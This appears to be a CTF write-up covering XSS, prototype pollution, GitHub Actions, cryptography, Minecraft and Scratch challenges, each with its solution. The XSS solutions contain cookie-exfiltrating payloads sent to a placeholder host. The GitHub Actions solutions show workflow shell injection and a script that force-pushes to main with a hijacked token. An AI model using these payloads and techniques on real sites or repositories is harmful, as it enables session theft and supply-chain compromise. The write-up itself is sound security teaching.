| $$  \ $$| $$  \__/| $$  \__/  | $$    | $$        | $$  \__/| $$$$$$$   /$$$$$$   /$$$$$$   /$$$$$$
| $$$$$$$$|  $$$$$$ | $$        | $$    | $$        |  $$$$$$ | $$__  $$ |____  $$ /$$__  $$ /$$__  $$
| $$__  $$ \____  $$| $$        | $$    | $$         \____  $$| $$  \ $$  /$$$$$$$| $$  \__/| $$$$$$$$
| $$  | $$ /$$  \ $$| $$    $$  | $$    | $$         /$$  \ $$| $$  | $$ /$$__  $$| $$      | $$_____/
| $$  | $$|  $$$$$$/|  $$$$$$/ /$$$$$$ /$$$$$$      |  $$$$$$/| $$  | $$|  $$$$$$$| $$      |  $$$$$$$
|__/  |__/ \______/  \______/ |______/|______/       \______/ |__/  |__/ \_______/|__/       \_______/
</pre>
<pre>  --&gt; The best website to upload your ASCII art... &lt;--</pre>
<pre><textarea id="art-input" placeholder="______         _                                             _
| ___ \       | |                                           | |
| |_/ /_ _ ___| |_ ___   _   _  ___  _   _ _ __    __ _ _ __| |_
|  __/ _` / __| __/ _ \ | | | |/ _ \| | | | '__|  / _` | '__| __|
| | | (_| \__ \ ||  __/ | |_| | (_) | |_| | |    | (_| | |  | |_
\_|  \__,_|___/\__\___|  \__, |\___/ \__,_|_|     \__,_|_|   \__|
                          __/ |
                         |___/                                   "></textarea></pre>
<pre><button onclick="upload()">  _   _      _              _     _       _
 | | | |_ __| |___  __ _ __| |   /_\  _ _| |_
 | |_| | '_ \ / _ \/ _` / _` |  / _ \| '_|  _|
  \___/| .__/_\___/\__,_\__,_| /_/ \_\_|  \__|
       |_|                                    </button></pre>
<script>
    var artInput = document.getElementById('art-input');
    async function upload() {
        if (!artInput.value.trim()) {
            alert('No art entered!');
            return;
        }
        var content = artInput.value;
        var request = await fetch('/api/upload', {
            method: 'POST',
            body: JSON.stringify({
                content: content
            })
        });
        if (request.ok) {
            var response = await request.json();
            location.href = 'view?id=' + response.id;
        } else {
            alert('Could not upload art!');
        }
    }
</script>
</body>
</html>

view.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
    <meta name="robots" content="noindex">
    <meta name="color-scheme" content="dark light">
    <title>ASCII Share</title>
    <style>
    </style>
</head>
<body>
<pre>
  /$$$$$$   /$$$$$$   /$$$$$$  /$$$$$$ /$$$$$$        /$$$$$$  /$$
 /$$__  $$ /$$__  $$ /$$__  $$|_  $$_/|_  $$_/       /$$__  $$| $$
| $$  \ $$| $$  \__/| $$  \__/  | $$    | $$        | $$  \__/| $$$$$$$   /$$$$$$   /$$$$$$   /$$$$$$
| $$$$$$$$|  $$$$$$ | $$        | $$    | $$        |  $$$$$$ | $$__  $$ |____  $$ /$$__  $$ /$$__  $$
| $$__  $$ \____  $$| $$        | $$    | $$         \____  $$| $$  \ $$  /$$$$$$$| $$  \__/| $$$$$$$$
| $$  | $$ /$$  \ $$| $$    $$  | $$    | $$         /$$  \ $$| $$  | $$ /$$__  $$| $$      | $$_____/
| $$  | $$|  $$$$$$/|  $$$$$$/ /$$$$$$ /$$$$$$      |  $$$$$$/| $$  | $$|  $$$$$$$| $$      |  $$$$$$$
|__/  |__/ \______/  \______/ |______/|______/       \______/ |__/  |__/ \_______/|__/       \_______/
</pre>
<pre>------------------------------------------------------------------------------------------------------</pre>
<pre id="loading">Loading art...</pre>
<pre id="art"></pre>
<script>
    var loading = document.getElementById('loading');
    var art = document.getElementById('art');
    var id = new URLSearchParams(location.search).get('id');
    async function load() {
        var response = await fetch('/api/get?id=' + id);
        if (!response.ok) {
            alert('Error loading art');
            return;
        }
        var content = await response.text();
        loading.hidden = true;
        art.innerHTML = content;
    }
    load();
</script>
</body>
</html>
Solution

The bug is that art.innerHTML = content; allows XSS. Note that because this is setting innerHTML in client-side JavaScript instead of the server returning unescaped HTML directly, <script>...</script> doesn't execute. There are countless other ways to run scripts that still work. One way is by using an inline event listener, then upload document.cookie to a server controlled by you.

Example payload to upload to the website:

<img src=x onerror="fetch('https://example.com/?cookie='+document.cookie)">

A common website to use for receiving the flag is webhook.site.

XSS 2 (3 solves)

The people that made the ASCII website made another one for images. It looks like they added sanitization this time though. Can you find a way around?

index.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
    <meta name="robots" content="noindex">
    <meta name="color-scheme" content="dark light">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>PNG Share</title>
    <style>
        :root {
            font-family: sans-serif;;
        }
    </style>
</head>
<body>
    <h1>PNG Share</h1>
    <p>Upload a fancy PNG!</p>
    <p><label>Title: <input type="text" id="title-input" placeholder="Image name" maxlength="200"></label></p>
    <p><input type="file" accept=".png" id="file-input"></p>
    <p><button onclick="upload()">Upload</button></p>
    <script>
        var fileInput = document.getElementById('file-input');
        var titleInput = document.getElementById('title-input');
        function sanitize(text) {
            return text
                .replace(/&/g, '&amp;').
                replace(/</g, '&lt;')
                .replace(/>/g, '&gt;').
                replace(/"/g, '&quot;')
                .replace(/'/g, '&#039;');
        }
        async function upload() {
            if (!titleInput.value.trim()) {
                alert('Please enter a title!');
                return;
            }
            if (fileInput.files.length === 0) {
                alert('No image selected!');
                return;
            }
            var file = fileInput.files[0];
            var reader = new FileReader();
            reader.onload = async function () {
                var request = await fetch('/api/upload', {
                    method: 'POST',
                    body: JSON.stringify({
                        title: sanitize(titleInput.value),
                        content: reader.result
                    })
                });
                if (request.ok) {
                    var response = await request.json();
                    location.href = 'view?id=' + response.id;
                } else {
                    alert('Could not upload image!');
                }
            };
            reader.readAsDataURL(file);
        }
    </script>
</body>
</html>

view.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
    <meta name="robots" content="noindex">
    <meta name="color-scheme" content="dark light">
    <title>PNG Share</title>
    <style>
        :root {
            font-family: sans-serif;
        }
    </style>
</head>
<body>
    <h1>PNG Share</h1>
    <h2 id="title"></h2>
    <p id="loading">Loading image...</p>
    <div id="image-container"></div>
    <script>
        var loading = document.getElementById('loading');
        var title = document.getElementById('title');
        var container = document.getElementById('image-container');
        var id = new URLSearchParams(location.search).get('id');
        async function load() {
            var response = await fetch('/api/get?id=' + id);
            if (!response.ok) {
                alert('Error loading image');
                return;
            }
            var data = await response.json();
            loading.hidden = true;
            var img = document.createElement('img');
            img.src = data.content;
            container.appendChild(img);
            title.innerHTML = data.title;
        }
        load();
    </script>
</body>
</html>
Solution

This is more obvious when you play by reading the source code, but the bug is that the title is sanitized by the uploader instead of when the image is viewed. You can bypass the sanitization by uploading directly to the API with the same kind of payload as before.

Example payload to run in the JavaScript console:

fetch('/api/upload', {
    method: 'POST',
    headers: {
        'content-type': 'application/json'
        },
    body: JSON.stringify({
        title: '<img src=x onerror="fetch(\'https://example.com?cookie=\' + document.cookie)">',
        content: 'whatever',
    })
});

XSS 3 (0 solves)

I'll talk about this one in a future blog post.

I will say that the source code of this challenge is here and that any industry-standard disclosure period lapsed a long time ago, so feel free to find it and disclose it yourself.

SecureDB (3 solves)

This is a very secure key-value database. The flag is the file: /flag

const fs = require('fs');
const readline = require('readline/promises');

const permissions = {};

class SecureDatabase {
    constructor() {
        this.data = {};
    }
    set(key, value) {
        const parts = key.split('.');
        const last = parts.pop();
        let data = this.data;
        for (const p of parts) {
            if (!data[p] || typeof data[p] !== 'object') data[p] = {};
            data = data[p];
        }
        data[last] = value;
    }
    get(key) {
        try {
            let data = this.data;
            if (key) for (const p of key.split('.')) data = data[p];
            return data;
        } catch (e) {
            return null;
        }
    }
    static openTransient() {
        const db = new SecureDatabase();
        console.log('Connected to a transient in-memory database.');
        return db;
    }
    static openFile(name) {
        const db = new SecureDatabase();
        db.data = JSON.parse(fs.readFileSync(name, 'utf-8'));
        console.log('Connected to database "' + name + '".');
        return db;
    }
}

const repl = async () => {
    let db = SecureDatabase.openTransient();
    const rl = readline.createInterface({
        input: process.stdin,
        output: process.stdout
    }).on('SIGINT', () => process.exit()).on('close', () => process.exit());
    while (true) {
        const command = await rl.question('SecureDB> ');
        const parts = command.split(' ');
        if (parts[0] === 'get') {
            console.log(db.get(parts[1] || ''));
        } else if (parts[0] === 'set') {
            db.set(parts[1] || '', parts[2] ?? null);
        } else if (parts[0] === 'open') {
            if (permissions.canOpenFiles) {
                try {
                    db = SecureDatabase.openFile(parts[1]);
                } catch (e) {
                    console.log('Error: ' + e.code);
                }
            } else {
                console.log('Error: Missing permission.');
            }
        } else {
            console.log('Error: Unknown command.');
        }
    }
};

repl();
Solution

This is a prototype pollution vulnerability. The set command allows you to do an arbitrary this.data[a][b][...] = c. this.data and permissions are both {} which means their prototype chain leads up to Object.prototype. Thus, any property set on Object.prototype will be accessible on both of them.

The __proto__ property points up to the next object in the prototype chain, so ({}).__proto__ is Object.prototype. This means if you can run this.data['__proto__']['a'] = 'b', you can set a on Object.protoype, which then causes all other objects to inherit that a property.

Intended attack is to run the command:

> set __proto__.canOpenFiles 1

Now, when the code later does permissions.canOpenFiles, because permissions does not have any property named canOpenFiles, JavaScript goes up the prototype chain to find it. It'll find canOpenFiles set to "1" on Object.prototype, thus this branch can return true. You then run the commands:

> open /flag
> get
{"flag":"flag{5e5e6306-37f5-4ba3-8106-cebba804e3dd}"}

GitHub Actions

In the real event, I generated a private GitHub repo for each team so that they couldn't read everyone else's attempts. For this writeup, I'll just share the relevant code. The category is based on real world security issues that keep allowing legitimate GitHub repositories and especially npm packages to be hijacked.

GitHub Actions 1 (3 solves)

This challenge involves GitHub Actions, a very popular workflow automation framework.

Within this repository's GitHub Actions settings is a secret called FLAG_1. Find a way to exfiltrate the key using your read-only access.

.github/workflows/reply-to-new-issues.yml:

name: Reply to new issues
on:
  issues:
    types: [opened]
permissions:
  issues: write
  contents: read
jobs:
  reply-to-new-issues:
    runs-on: ubuntu-slim
    steps:
      - name: Checkout
        uses: actions/checkout@v6
      - name: Reply to new issues
        run: |
          export GH_TOKEN="${{ secrets.GITHUB_TOKEN }}"
          export FLAG="${{ secrets.FLAG_1 }}"
          ./scripts/reply-to-new-issues.sh "${{ github.repository }}" "${{ github.event.issue.number }}" "${{ github.event.issue.title }}"
Solution

When GitHub Actions replaces ${{ github.event.issue.title }} with the issue's title, it won't escape the title to make it safe for bash. Thus, you can put a "; in your issue's title to end the string, then follow it with arbitrary shell commands to run. You can then read the result from GitHub Actions workflow logs.

Small caveat: GitHub Actions scans the logs for verbatim secrets and will censor them to prevent accidental leaks. You can work around this trivially by encoding it in any way like reversing it, base64 encoding it, putting extra spaces between each character, etc.

Our reference solution was to create an issue with the title:

"; node -e "console.log(process.env.FLAG.split(''))" #

GitHub Actions 2 (2-ish solves)

I say 2-ish because 2 people did figure out the general outline, but I had an error in the template repository that made the challenge not work and I found out very late in the event :(

As you may have guessed, there is a second secret inside the GitHub Actions called FLAG_2. Exfiltrate it.

There is a bot that pushes a new commit to main every 30 minutes.

.github/workflows/check-code-format.yml:

name: Validate
on:
  push:
    branches: [main]
permissions:
  contents: read
jobs:
  test:
    runs-on: ubuntu-slim
    steps:
      - name: Checkout
        uses: actions/checkout@v6
      - name: Install Node.js
        uses: actions/setup-node@v6
        with:
          node-version: 24
      - name: Install dependencies
        run: npm ci
      - name: Check format
        run: npm run check-format
        env:
          FLAG: "${{ secrets.FLAG_2 }}"

.github/workflows/label-pull-request.yml:

name: Label pull requests
on:
  pull_request_target:
    types: [opened, reopened]
permissions:
  pull-requests: write
  contents: write
jobs:
  label-pull-request:
    runs-on: ubuntu-slim
    steps:
      - name: Checkout
        uses: actions/checkout@v6
      - name: Assign labels
        run: ./scripts/label-pull-request.sh
        env:
          PR_NUMBER: "${{ github.event.number }}"
          GH_TOKEN: "${{ github.token }}"
          GH_REPO: "${{ github.repository }}"

scripts/label-pull-request.sh:

#!/usr/bin/bash
set -euxo pipefail
cd "$(dirname "$0")"
diff=$(mktemp)
gh pr checkout "$PR_NUMBER"
git diff origin/main > "$diff"
got_label=0
if grep -q "^\+\+\+ b/instrumentation/" "$diff"; then
    gh pr edit --repo "$GH_REPO" "$PR_NUMBER" --add-label "instrumentation"
    got_label=1
fi
if grep -q "^\+\+\+ b/injector/" "$diff"; then
    gh pr edit --repo "$GH_REPO" "$PR_NUMBER" --add-label "injector"
    got_label=1
fi
if [[ "$got_label" = "0" ]]; then
    gh pr edit --repo "$GH_REPO" "$PR_NUMBER" --add-label "other"
fi
./go-back-to-main.sh

scripts/go-back-to-main.sh:

#!/bin/bash
# TODO!

package.json:

{
  "name": "bananatron",
  "version": "1.0.0",
  "main": "index.js",
  "scripts": {
    "format": "prettier . --write",
    "check-format": "prettier . --check"
  },
  "author": "",
  "license": "GPL-3.0",
  "description": "",
  "dependencies": {
    "@babel/core": "^7.26.0",
    "@babel/plugin-transform-block-scoping": "^7.25.9",
    "@babel/plugin-transform-parameters": "^7.25.9",
    "@babel/plugin-transform-regenerator": "^7.25.9",
    "@babel/plugin-transform-spread": "^7.25.9",
    "@electron/fuses": "^1.8.0",
    "@muffins/asar": "^1.0.3",
    "electron": "^33.0.2",
    "fs-extra": "^9.1.0"
  },
  "devDependencies": {
    "prettier": "^3.8.0"
  }
}
Solution

The pull request labelling workflow has contents: write permissions. If this was running in a normal pull_request context, this wouldn't be an issue as that would just be write access to the pull request's fork. That's commonly used by automatic formatting scripts, for example.

However, this workflow runs in a pull_request_target context, so this actually means write access to the original repository, not the fork. This means when the workflow runs label-pull-request.sh, its GitHub token grants write access to the original repository.

Modifying label-pull-request.sh directly in your pull request doesn't work because the checkout step check out the original repository. The script then checks out your code. Adding more code at the end of label-pull-request.sh doesn't work as git makes new inodes instead of reusing when switching branches. However, the script does run go-back-to-main.sh from your checked out repository, so any code you add there will have access to the GitHub token.

Inside go-back-to-main.sh, you add code along the lines:

cat <EOF > package.json
{
  "scripts": {
    "check-format": "node -e 'console.log(process.env.FLAG.split(\"\"))'"
  }
}
EOF
git config user.name a
git config user.email a
git stage .
git commit -m a
git remote set-url origin "https://\$GH_TOKEN:@github.com/\$GH_REPO.git"
git push origin HEAD:main --force

This will push up a commit to main that replaces package.json. When the bot pushes its commit to main every 30 minutes, it'll start running npm run check-format which will run the script you put in package.json, revealing the flag when you later look at the logs.

Note that you can't directly modify the .github/workflows folder from the script because that requires the workflows: write permission which you don't have.

Cryptography

Caesar (13 solves)

Decrypt this:

yetz{VhgynlxHktgzxHuebztmbhgItktwxTulxgmLnkikblx}
Solution

It's a caesar cipher. You can just try all 25 possible shifts.

yetz{VhgynlxHktgzxHuebztmbhgItktwxTulxgmLnkikblx}
zfua{WihzomyIluhayIvfcauncihJuluxyUvmyhnMoljlcmy}
agvb{XjiapnzJmvibzJwgdbvodjiKvmvyzVwnzioNpmkmdnz}
bhwc{YkjbqoaKnwjcaKxhecwpekjLwnwzaWxoajpOqnlneoa}
cixd{ZlkcrpbLoxkdbLyifdxqflkMxoxabXypbkqPromofpb}
djye{AmldsqcMpylecMzjgeyrgmlNypybcYzqclrQspnpgqc}
ekzf{BnmetrdNqzmfdNakhfzshnmOzqzcdZardmsRtqoqhrd}
flag{ConfuseOrangeObligationParadeAbsentSurprise}
gmbh{DpogvtfPsbohfPcmjhbujpoQbsbefBctfouTvsqsjtf}
hnci{EqphwugQtcpigQdnkicvkqpRctcfgCdugpvUwtrtkug}
iodj{FrqixvhRudqjhReoljdwlrqSdudghDevhqwVxusulvh}
jpek{GsrjywiSverkiSfpmkexmsrTevehiEfwirxWyvtvmwi}
kqfl{HtskzxjTwfsljTgqnlfyntsUfwfijFgxjsyXzwuwnxj}
lrgm{IutlaykUxgtmkUhromgzoutVgxgjkGhyktzYaxvxoyk}
mshn{JvumbzlVyhunlVispnhapvuWhyhklHizluaZbywypzl}
ntio{KwvncamWzivomWjtqoibqwvXizilmIjamvbAczxzqam}
oujp{LxwodbnXajwpnXkurpjcrxwYjajmnJkbnwcBdayarbn}
pvkq{MyxpecoYbkxqoYlvsqkdsyxZkbknoKlcoxdCebzbsco}
qwlr{NzyqfdpZclyrpZmwtrletzyAlclopLmdpyeDfcactdp}
rxms{OazrgeqAdmzsqAnxusmfuazBmdmpqMneqzfEgdbdueq}
synt{PbashfrBenatrBoyvtngvbaCnenqrNofragFhecevfr}
tzou{QcbtigsCfobusCpzwuohwcbDoforsOpgsbhGifdfwgs}
uapv{RdcujhtDgpcvtDqaxvpixdcEpgpstPqhtciHjgegxht}
vbqw{SedvkiuEhqdwuErbywqjyedFqhqtuQriudjIkhfhyiu}
wcrx{TfewljvFirexvFsczxrkzfeGriruvRsjvekJligizjv}
xdsy{UgfxmkwGjsfywGtdayslagfHsjsvwStkwflKmjhjakw}

The only one of these that make sense is:

flag{ConfuseOrangeObligationParadeAbsentSurprise}

You could avoid trying all of them if you just assume that the yetz is flag to immediately derive the shift.

Substitution (9 solves)

You know that the following text was encrypted a substitution cipher with a block size of one letter. The flag is inside, can you recover it?

Qybh Wrlrvsert, zis qyss soaxakbvsert
Ubwkrog Tkbos: Zis Abkktvps toe Ysmrmtk bq Thsyrato Abhhjorzx rp t 2000 oboqrazrbo ubbl ux Ybusyz E. Vjzoth. Rz wtp esmskbvse qybh irp 1995 spptx sozrzkse "Ubwkrog Tkbos: Thsyrat'p Esakrorog Pbartk Atvrztk" ro zis Nbjyotk bq Eshbaytax. Vjzoth pjymsxp zis esakros bq pbartk atvrztk ro zis Jorzse Pztzsp proas 1950. Is itp espayruse zis ysejazrbo ro tkk zis qbyhp bq ro-vsypbo pbartk rozsyabjyps jvbo wirai Thsyratop jpse zb qbjoe, sejatzs, toe soyrai zis qtuyra bq zisry pbartk krmsp. Is tygjsp zitz zirp joesyhrosp zis tazrms armra sogtgshsoz wirai t pzybog eshbaytax yscjrysp qybh rzp arzrfsop.
Vjzoth erpajppse wtxp ro wirai Thsyratop erpsogtgse qybh abhhjorzx rombkmshsoz, roakjerog esaystpse mbzsy zjyobjz, tzzsoetoas tz vjukra hsszrogp, psymras bo abhhrzzssp, toe wbyl wrzi vbkrzratk vtyzrsp. Vjzoth tkpb arzse Thsyratop' gybwrog erpzyjpz ro zisry gbmsyohsoz. Vjzoth taasvzse zis vbpprurkrzx zitz zirp ktal bq zyjpz abjke us tzzyrujzse zb "zis kbog krztox bq vbkrzratk zytgsersp toe patoetkp proas zis 1960p", ujz uskrsmse zitz zirp sdvktotzrbo wtp krhrzse wiso mrswrog rz tkbogpres bzisy "zysoep ro armra sogtgshsoz bq t wresy pbyz".
Vjzoth obzse zis tggysgtzs kbpp ro hshusypirv toe ojhusy bq mbkjozssyp ro htox sdrpzrog armra bygtorftzrbop pjai tp yskrgrbjp gybjvp (Lorgizp bq Abkjhujp, U'otr Uyrzi, sza.), ktuby jorbop, vtysoz–zstaisy tppbartzrbop, Qsesytzrbo bq Wbhso'p Akjup, Kstgjs bq Wbhso Mbzsyp, hrkrztyx mszsytop' bygtorftzrbop, mbkjozssyp wrzi Ubx Pabjzp toe zis Yse Aybpp, toe qytzsyotk bygtorftzrbop (Krbop Akjup, Usosmbksoz toe Vybzsazrms Byesy bq Sklp, Jorzse Pztzsp Njorby Aithusy, Qysshtpboyx, Ybztyx, Lrwtorp, sza.). Vjzoth jpse ubwkrog tp to sdthvks zb rkkjpzytzs zirp; tkzibjgi zis ojhusy bq vsbvks wib ubwkse ite roaystpse ro zis ktpz 20 xstyp, zis ojhusy bq vsbvks wib ubwkse ro kstgjsp ite esaystpse. Rq vsbvks ubwkse tkbos, zisx ere obz vtyzrarvtzs ro zis pbartk rozsytazrbo toe armra erpajpprbop zitz hrgiz baajy ro t kstgjs somrybohsoz.
Vjzoth arzsp etzt qybh zis Gsosytk Pbartk Pjymsx zitz pibwse to tggysgtzs esakros ro hshusypirv bq zyterzrbotk armra bygtorftzrbop, pjvvbyzrog irp zisprp zitz J.P. pbartk atvrztk ite esakrose. Is obzse zitz pbhs bygtorftzrbop ite gybwo, pjai tp zis Thsyrato Tppbartzrbo bq Yszryse Vsypbop, zis Prsyyt Akju, toe t vkszibyt bq htpp-hshusy tazrmrpz gybjvp. Ujz is ptre zitz zisps gybjvp ere obz zsoe zb qbpzsy qtas-zb-qtas rozsytazrbo, toe wsys zis zxvs wisys "zis bokx taz bq hshusypirv aboprpzp ro wyrzrog t aisal qby ejsp by vsyitvp baatprbotkkx ysterog t oswpkszzsy." Is tkpb eysw t erpzroazrbo uszwsso zwb erqqsysoz zxvsp bq pbartk atvrztk: t "uboerog" zxvs (wirai baajyp wrziro t eshbgytvira gybjv) toe t "uyregrog" zxvs (wirai jorzsp vsbvks qybh erqqsysoz gybjvp).
Is ziso tplse: "Wix rp JP pbartk atvrztk syberog?" toe erpajppse psmsytk vbppruks atjpsp. Is uskrsmse zitz zis "hbmshsoz bq wbhso rozb zis wbylqbyas" toe bzisy eshbgytvira aitogsp tqqsazse zis ojhusy bq roermrejtkp sogtgrog ro armra tppbartzrbop. Is tkpb erpajppse zis "ys-vbzzrog ixvbzisprp"—zitz vsbvks usabhs kspp sogtgse wiso zisx qyscjsozkx hbms zbwop—ujz qbjoe zitz Thsyratop tazjtkkx hbmse zbwop kspp qyscjsozkx zito ro vysmrbjp esatesp. Is ere pjggspz zitz pjujyutorftzrbo, sabobhrap toe zrhs vysppjysp ite pbhs sqqsaz, zibjgi is obzse zitz tmsytgs wbylrog ibjyp ite pibyzsose. Is aboakjese zis htro atjps wtp zsaiobkbgx "roermrejtkrfrog" vsbvks'p ksrpjys zrhs mrt zsksmrprbo toe zis Rozsyosz, pjpvsazrog zitz "mryzjtk ystkrzx iskhszp" wbjke atyyx zirp qjyzisy ro zis qjzjys.
Is spzrhtzse zitz zis qtkk-bqq ro armra sogtgshsoz tqzsy 1965 wtp 10 vsyasoz ejs zb vysppjys bq wbyl toe ebjuks-atyssy qthrkrsp, 10 vsyasoz zb pjujyutorftzrbo, abhhjzrog, toe jyuto pvytwk, 25 vsyasoz zb zis sdvtoprbo bq sksazybora sozsyztrohsoz (spvsartkkx zsksmrprbo), toe 50 vsyasoz zb gsosytzrbotk aitogs (tkzibjgi is spzrhtzse zitz zis sqqsazp bq zsksmrprbo toe gsosytzrbotk aitogs bmsyktvvse ux 10 zb 15 vsyasoz). 15 zb 20 vsyasoz yshtrose josdvktrose.
Vjzoth pjggspzse akbpsy pzjersp bq wirai qbyhp bq tppbartzrbop abjke aystzs zis gystzspz pbartk atvrztk, toe ibw mtyrbjp tpvsazp bq zsaiobkbgx, aitogsp ro pbartk scjtkrzx, toe vjukra vbkrax tqqsaz pbartk atvrztk. Is akbpse ux shvitprfrog zis rhvbyztoas bq erpabmsyrog ibw zis Jorzse Pztzsp abjke ysmsyps zis zysoe bq pbartk atvrztk esatx.
Zis qktg rp: qktg{NHNgIjmQeEbrGmpVWXvHm}
Solution

It's a very simple substitution cipher.

The big block of text is from Bowling Alone's Wikipedia page. I chose this so it would be long enough that you should be able to use frequency analysis to make this feasible to break by hand, although apparently there are websites that make this pretty easy anyway.

The key is in the last sentence, which decrypts to:

The flag is: flag{JMJgHuvFdDoiGvsPWYpMv}

Two Time Pad (4 solves)

If the one time pad is so good, why isn't there a one time pad 2?

Download generate-sources.js

Download generate-sources.js.enc

Download flag.pdf.enc

Solution

This is a one time pad. If used correctly, a one time pad is unbreakable. In this case, it has not been used correctly. The key has been reused so it is no longer one time. Breaking it is now trivial.

You can XOR generate-sources.js and generate-sources.js.enc to find the key. XOR the key with flag.pdf.enc to find the unencrypted flag.pdf.

Minecraft

Most of these took place on a real Minecraft server during the event. That server is dead now, so you'll have to do some pretending.

I also had challenges to kill the ender dragon or wither. I put these in as a joke with very few points so no one did them. Next time, I'll have to make them actually valuable to encourage doing them.

Message of the day (4 solves)

What's hiding in the text that appears in the server list?

Solution

The background here is that Minecraft's obfuscated text formatting is just another style option same as bold, italics, underline, etc. That means there is real text hidden in there. The width of each of the letters in the message corresponds to the width of the real letter underneath.

You can't recover the flag from within the game. You need to ping the server from outside the game to see what message it's sending.

The intended solution was to install mcstatus, then use its API to ping the server.

from mcstatus import JavaServer
server = JavaServer.lookup("ctf.minnehack.com:443")
status = server.status()
print(status.motd.raw)

Prints:

§fflag{§kdont-include-the-formatting-codes§f}

Most players solved this one using one of the many websites out there that let you ping Minecraft servers for various reasons.

Spawn protection (1 solve)

Find a way to activate the command block at X: 1242 Y: 64 Z: -457

The command block is located at the center of a spawn-protected area with size 16 (the default). The blue blocks you see are the outer perimeter of the spawn protected region (the blue and everything inside is protected).

Solution

Spawn protection stops you from directly interacting with the command block or placing a lever, but you can still indirectly interact with it in various ways: explosions, redstone, etc.

The 16 block size is too far just push redstone blocks in with a piston. Instead, the intended solution was to make a slime block flying machine to move a redstone block into the spawn protected region, activating the command block, which then sends the flag in chat to everyone nearby.

Resource pack 1 (3 solves)

The entity textures in this server's resource pack are kind of weird. Looks like parts of a QR code. Can you find a way to scan it?

In the real event, people would have only be given the IP of a server with a required server resource pack. For this writeup, I'll just give you the file: resource-pack.zip

Solution

I don't think it's possible to see the entire QR code in-game on the entities, so you have to do something outside of the game. There's two parts to that.

First, you need to actually download the zip. In this writeup, I just gave you the link. On the real event, people would've had to find the resource pack in the game files.

Second, you need to scan the QR code in the entity textures (they're all the same). This was intended to be difficult because I corrupted the CRC checksums inside the PNG. I tested basically every browser and image viewer I could and found that while Minecraft doesn't care about the invalid CRCs, almost all other typical image apps do. I thought players would've had to fix the headers to view the QR code.

Unfortunately, it turns out the default Windows 11 Photos app also doesn't care about the invalid CRCs, so anyone on Windows could simply open the photo without needing to do anything extra.

You would then scan the QR code, giving you the flag.

Resource pack 2 (1 solve)

Same thing but harder.

i-was-told-this-is-way-too-hard.zip

Solution

On this one, I didn't give a server to join, just the URL to download the resource pack. Downloading it was itself another challenge because the server checked your user agent to see if you are a Minecraft client or not based on your user agent. To work around that, you would download using curl -H "User-Agent: Minecraft Java".

If you try to extract the resource pack with typical tools, you will encounter many issues. I geneated the zip using a custom script that corrupted every field in the zip that Minecraft would let us. It turns out the Java zip library is rather lenient.

A few of the tricks I did to make it harder to extract:

  • Added fake extra files with very large file sizes that Minecraft would never try to read, but typical zip extraction tools would
  • Randomized zip versions and timestamps as Minecraft just doesn't check these, but typical zip extraction tools would complain about invalid dates
  • Made the zip claim to be a multi-disk archive when it's not

When designing this challenge, I knew about MCRPX which uses the same Java zip library as Minecraft so naturally it bypasses many of our corruptions. From reading the MCRPX source code, I found a way to make it unable to extract our resource pack. For every real file assets/whatever I put a decoy file ./assets/whatever after it. These are different files in the zip, but when MCRPX extracts it, it would write the fake file to dest/./assets/whatever which is interpreted the same as dest/assets/whatever, causing the real file to be overwritten.

Intended solution was to read about the zip file format, then manually extract one of the entity textures by hand. Then open the PNG the same way as in part 1.

The only player who solved this during the event found a very creative alternative solution. It turns out that Minecraft has a debug hotkey F3+S which dumps dynamic textures from memory to the screenshots folder. Of all of these dynamic textures, entities appear in just one image -- minecraft_textures_atlas_shulker_boxes.png_0.png. This is the texture atlas for shulker boxes, which is generated based on the textures for the shulker entity, which will look as shown below.

Seed (3 solves)

What's the seed?

Solution

There's mods that make this straightforward. SeedcrackerX is what players used. You just have to walk around to find generated structures which reveals enough information to brute force the seed in a couple minutes.

The seed was -4947566875237588702. That was just chosen at random the day of the event.

Precision (1 solve)

Set your position to be exactly:

X: 1272.1323423424234

Y: 70.0

Z: -474.223423423434

In the overworld.

Solution

In regular gameplay, you can't precisely control your position this precisely. You also wouldn't be able to use walls or anything else to align yourself to these coordinates.

The intended solution was to write a client mod that would let you do a client-side teleport to an exact position. As long as you teleport only a small distance, the server will just let you move wherever.

Scratch

Ghosts (5 solves)

This is actually a reverse-engineering puzzle but written in Scratch.

The create button in the menu bar opens the Scratch editor. Then use File > Load from your computer to open the file. Might need to do a bit more, though.

Download puzzle.sb3

Solution

This abuses a Scratch bug that lets you make scripts that are hidden from the regular editor. There's a lot of ways to solve this one.

First, in the version of the project that was given to players, I accidentally left the "inner" variable with the value from the correct flag, so I think that's how most people figured this out.

But, there are some more interesting ways.

One way is to utilize the various Scratch-to-whatever converters that exist as these don't care about the blocks being invisible. For example, if you open the project in TurboWarp, run vm.enableDebug() in your JavaScript console, then start the project, you'll find that the "check" block compiles to the below JavaScript.

(function factory3(thread) { const target = thread.target; const runtime = target.runtime; const stage = runtime.getTargetForStage();
const b0 = stage.variables["`jEk@4|i[#Fk?(8x)AV.-my variable"];
const b1 = stage.variables["D9-j()@.YMy{8e})qNtx"];
const b2 = stage.variables["$F=$H##lp_=0nFt).`g2"];
return function fun1_check_flag () {
b0.value = "";
if (!((((runtime.ext_scratch3_sensing._answer)[1 - 1] || "").toLowerCase() === "f".toLowerCase()) && ((((runtime.ext_scratch3_sensing._answer)[2 - 1] || "").toLowerCase() === "l".toLowerCase()) && ((((runtime.ext_scratch3_sensing._answer)[3 - 1] || "").toLowerCase() === "a".toLowerCase()) && ((((runtime.ext_scratch3_sensing._answer)[4 - 1] || "").toLowerCase() === "g".toLowerCase()) && (((runtime.ext_scratch3_sensing._answer)[5 - 1] || "").toLowerCase() === "{".toLowerCase())))))) {
b0.value = "The password starts with flag{";
return "";
}
if (!(((runtime.ext_scratch3_sensing._answer)[runtime.ext_scratch3_sensing._answer.length - 1] || "").toLowerCase() === "}".toLowerCase())) {
b0.value = "The password ends with }";
return "";
}
b1.value = 1;
b2.value = "";
for (var a0 = (runtime.ext_scratch3_sensing._answer.length - 6); a0 > 0; a0--) {
b2.value = (b2.value + ((runtime.ext_scratch3_sensing._answer)[(b1.value + 5) - 1] || ""));
b1.value = (b1.value + 1);
}
if ((toNotNaN(Math.sqrt(toNotNaN(+b2.value))) === 2.8384734)) {
b0.value = "correct";
return "";
}
b0.value = "Try again";
return "";
}; })

That JavaScript is not intended to be human readable, but you might be able to figure out the solution with it alone.

Another approach is to realize that Scratch projects are actually zip files. Inside, you'll find the files:

